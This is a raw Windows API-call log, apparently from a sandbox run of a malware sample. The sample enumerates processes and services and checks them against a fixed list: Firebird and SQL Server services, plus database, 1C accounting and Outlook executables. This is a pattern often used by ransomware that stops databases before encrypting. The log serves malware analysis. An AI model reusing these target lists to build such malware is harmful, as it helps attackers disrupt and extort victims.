lstrlenW (lpString="Schedule") returned 8 [0203.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0203.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0203.002] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0203.002] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0203.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0203.002] lstrlenW (lpString="SENS") returned 4 [0203.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0203.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0203.002] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0203.002] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0203.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0203.002] lstrlenW (lpString="ShellHWDetection") returned 16 [0203.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0203.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0203.002] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0203.003] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0203.003] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0203.003] lstrlenW (lpString="Spooler") returned 7 [0203.003] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0203.003] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0203.003] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0203.003] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0203.003] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0203.003] lstrlenW (lpString="Themes") returned 6 [0203.003] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0203.003] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0203.003] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0203.003] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0203.004] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0203.004] lstrlenW (lpString="UxSms") returned 5 [0203.004] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0203.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0203.004] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0203.004] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0203.004] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0203.004] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x630138 | out: hHeap=0x590000) returned 1 [0203.004] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x124 [0203.010] Process32FirstW (in: hSnapshot=0x124, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0203.011] Process32NextW (in: hSnapshot=0x124, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0203.011] lstrlenW (lpString="System") returned 6 [0203.011] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0203.011] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0203.014] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0203.014] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0203.014] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0203.014] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0203.014] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0203.015] Process32NextW (in: hSnapshot=0x124, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0203.015] lstrlenW (lpString="smss.exe") returned 8 [0203.016] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0203.016] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0203.016] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0203.016] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0203.016] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0203.016] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0203.016] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0203.016] Process32NextW (in: hSnapshot=0x124, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0203.017] lstrlenW (lpString="csrss.exe") returned 9 [0203.017] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0203.017] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0203.017] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0203.017] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0203.017] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0203.018] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0203.018] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0203.018] Process32NextW (in: hSnapshot=0x124, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0203.019] lstrlenW (lpString="wininit.exe") returned 11 [0203.019] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0203.019] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0203.019] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0203.019] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0203.019] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0203.019] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0203.019] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0203.019] Process32NextW (in: hSnapshot=0x124, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0203.020] lstrlenW (lpString="csrss.exe") returned 9 [0203.020] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0203.020] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0203.020] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0203.020] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0203.020] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0203.021] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0203.021] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0203.021] Process32NextW (in: hSnapshot=0x124, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0203.022] lstrlenW (lpString="winlogon.exe") returned 12 [0203.022] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0203.022] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0203.022] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0203.022] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0203.022] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0203.022] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0203.022] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0203.022] Process32NextW (in: hSnapshot=0x124, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0203.023] lstrlenW (lpString="services.exe") returned 12 [0203.023] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0203.023] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0203.023] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0203.023] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0203.023] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0203.024] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0203.024] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0203.024] Process32NextW (in: hSnapshot=0x124, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0203.024] lstrlenW (lpString="lsass.exe") returned 9 [0203.025] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0203.025] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0203.025] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0203.025] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0203.025] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0203.025] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0203.025] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0203.025] Process32NextW (in: hSnapshot=0x124, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0203.026] lstrlenW (lpString="lsm.exe") returned 7 [0203.026] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0203.026] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0203.026] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0203.026] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0203.026] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0203.026] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0203.026] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0203.026] Process32NextW (in: hSnapshot=0x124, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0203.335] lstrlenW (lpString="svchost.exe") returned 11 [0203.335] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0203.335] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0203.335] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0203.342] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0203.346] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0203.346] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0203.346] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0203.346] Process32NextW (in: hSnapshot=0x124, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0203.376] lstrlenW (lpString="svchost.exe") returned 11 [0203.383] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0203.384] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0203.384] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0203.384] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0203.384] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0203.384] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0203.384] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0203.384] Process32NextW (in: hSnapshot=0x124, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0203.385] lstrlenW (lpString="svchost.exe") returned 11 [0203.386] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0203.386] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0203.386] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0203.386] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0203.386] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0203.387] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0203.387] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0203.387] Process32NextW (in: hSnapshot=0x124, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0203.388] lstrlenW (lpString="svchost.exe") returned 11 [0203.388] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0203.388] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0203.388] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0203.388] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0203.388] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0203.388] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0203.388] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0203.388] Process32NextW (in: hSnapshot=0x124, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0203.389] lstrlenW (lpString="svchost.exe") returned 11 [0203.389] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0203.389] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0203.390] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0203.390] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0203.390] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0203.390] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0203.390] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0203.390] Process32NextW (in: hSnapshot=0x124, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0203.391] lstrlenW (lpString="audiodg.exe") returned 11 [0203.391] lstrcmpiW (lpString1="1c8.exe", lpString2="audiodg.exe") returned -1 [0203.391] lstrcmpiW (lpString1="1cv77.exe", lpString2="audiodg.exe") returned -1 [0203.391] lstrcmpiW (lpString1="outlook.exe", lpString2="audiodg.exe") returned 1 [0203.391] lstrcmpiW (lpString1="postgres.exe", lpString2="audiodg.exe") returned 1 [0203.392] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="audiodg.exe") returned 1 [0203.392] lstrcmpiW (lpString1="mysqld.exe", lpString2="audiodg.exe") returned 1 [0203.392] lstrcmpiW (lpString1="sqlservr.exe", lpString2="audiodg.exe") returned 1 [0203.392] Process32NextW (in: hSnapshot=0x124, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0203.393] lstrlenW (lpString="svchost.exe") returned 11 [0203.393] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0203.393] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0203.393] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0203.393] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0203.393] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0203.393] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0203.393] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0203.393] Process32NextW (in: hSnapshot=0x124, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0203.394] lstrlenW (lpString="userinit.exe") returned 12 [0203.395] lstrcmpiW (lpString1="1c8.exe", lpString2="userinit.exe") returned -1 [0203.395] lstrcmpiW (lpString1="1cv77.exe", lpString2="userinit.exe") returned -1 [0203.395] lstrcmpiW (lpString1="outlook.exe", lpString2="userinit.exe") returned -1 [0203.395] lstrcmpiW (lpString1="postgres.exe", lpString2="userinit.exe") returned -1 [0203.395] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="userinit.exe") returned -1 [0203.395] lstrcmpiW (lpString1="mysqld.exe", lpString2="userinit.exe") returned -1 [0203.395] lstrcmpiW (lpString1="sqlservr.exe", lpString2="userinit.exe") returned -1 [0203.395] Process32NextW (in: hSnapshot=0x124, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0203.396] lstrlenW (lpString="explorer.exe") returned 12 [0203.396] lstrcmpiW (lpString1="1c8.exe", lpString2="explorer.exe") returned -1 [0203.396] lstrcmpiW (lpString1="1cv77.exe", lpString2="explorer.exe") returned -1 [0203.396] lstrcmpiW (lpString1="outlook.exe", lpString2="explorer.exe") returned 1 [0203.396] lstrcmpiW (lpString1="postgres.exe", lpString2="explorer.exe") returned 1 [0203.397] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="explorer.exe") returned 1 [0203.397] Process32NextW (in: hSnapshot=0x124, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0203.398] lstrlenW (lpString="dwm.exe") returned 7 [0203.398] Process32NextW (in: hSnapshot=0x124, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0203.399] lstrlenW (lpString="svchost.exe") returned 11 [0203.399] Process32NextW (in: hSnapshot=0x124, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0203.400] lstrlenW (lpString="winhost.exe") returned 11 [0203.400] Process32NextW (in: hSnapshot=0x124, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0203.401] lstrlenW (lpString="spoolsv.exe") returned 11 [0203.401] Process32NextW (in: hSnapshot=0x124, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x574, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0203.403] lstrlenW (lpString="dllhost.exe") returned 11 [0203.403] Process32NextW (in: hSnapshot=0x124, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0203.404] lstrlenW (lpString="svchost.exe") returned 11 [0203.404] Process32NextW (in: hSnapshot=0x124, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0203.405] lstrlenW (lpString="taskhost.exe") returned 12 [0203.405] Process32NextW (in: hSnapshot=0x124, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x4d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0203.406] lstrlenW (lpString="cmd.exe") returned 7 [0203.406] Process32NextW (in: hSnapshot=0x124, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0203.407] lstrlenW (lpString="reader_sl.exe") returned 13 [0203.407] Process32NextW (in: hSnapshot=0x124, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x4c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="AdobeARM.exe")) returned 1 [0203.408] lstrlenW (lpString="AdobeARM.exe") returned 12 [0203.408] Process32NextW (in: hSnapshot=0x124, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0203.410] lstrlenW (lpString="conhost.exe") returned 11 [0203.410] Process32NextW (in: hSnapshot=0x124, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0203.411] CloseHandle (hObject=0x124) returned 1 [0203.411] Sleep (dwMilliseconds=0x1f4) [0204.278] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x5c5e98 [0204.284] EnumServicesStatusExW (in: hSCManager=0x5c5e98, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0) returned 0 [0204.286] GetLastError () returned 0xea [0204.286] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa08) returned 0x5ffc50 [0204.286] EnumServicesStatusExW (in: hSCManager=0x5c5e98, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x5ffc50, cbBufSize=0xa08, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x5ffc50, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0) returned 1 [0204.288] CloseServiceHandle (hSCObject=0x5c5e98) returned 1 [0204.289] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0204.289] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0204.289] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0204.289] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0204.289] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0204.289] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0204.289] lstrlenW (lpString="AudioSrv") returned 8 [0204.289] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0204.289] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0204.289] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0204.289] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0204.289] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0204.290] lstrlenW (lpString="BFE") returned 3 [0204.290] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0204.290] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0204.290] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0204.290] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0204.290] 